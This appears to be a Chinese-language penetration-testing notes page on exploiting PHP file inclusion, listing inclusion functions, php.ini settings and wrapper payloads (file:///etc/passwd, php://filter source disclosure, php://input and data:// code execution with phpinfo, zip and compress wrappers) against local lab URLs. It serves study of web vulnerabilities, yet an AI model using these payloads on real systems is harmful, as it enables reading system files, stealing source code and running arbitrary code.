日期:2019-07-28 21:24:36
更新:
作者:Bay0net
介绍:
0x01、基本信息
文件包含函数
include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()
环境概要
PHP 配置文件: php.ini
默认路径: /etc/php5/apache2/php.ini
具体要求:
allow_url_fopen=on:默认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。
allow_url_include=on:默认关闭,该选项为 on 便是允许包含 URL 对象文件等。
0x02、伪协议
file://协议
该协议在双 off 的情况下也可以正常使用;
?page=file:///etc/passwd
?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://协议
不需要开启 allow_url_fopen
下面的几个需要开启 allow_url_fopen
php://input
php://stdin
php://memory
php://temp
php://filter 读文件
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64
编码输出,不然会直接当做 php
代码执行就看不到源代码内容了。
?page=php://filter/read=convert.base64-encode/resource=file1.php
php://input 命令执行
环境:
- allow_url_fopen :off/on
- allow_url_include:on
注:当 enctype="multipart/form-data"
时,php://input
是无效的。
payload:
url: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
post: <?php phpinfo(); ?>

zip:// 压缩文件
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- zip://archive.zip#dir/file.txt
- zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
实例
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
bzip2://协议
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- compress.bzip2://file.bz2
实例
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
zlib://协议
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- compress.zlib://file.gz
实例
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
data://
环境:
- allow_url_fopen :on
- allow_url_include:on
实例
# 明文
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
# base64 编码
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x03、Reference
php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽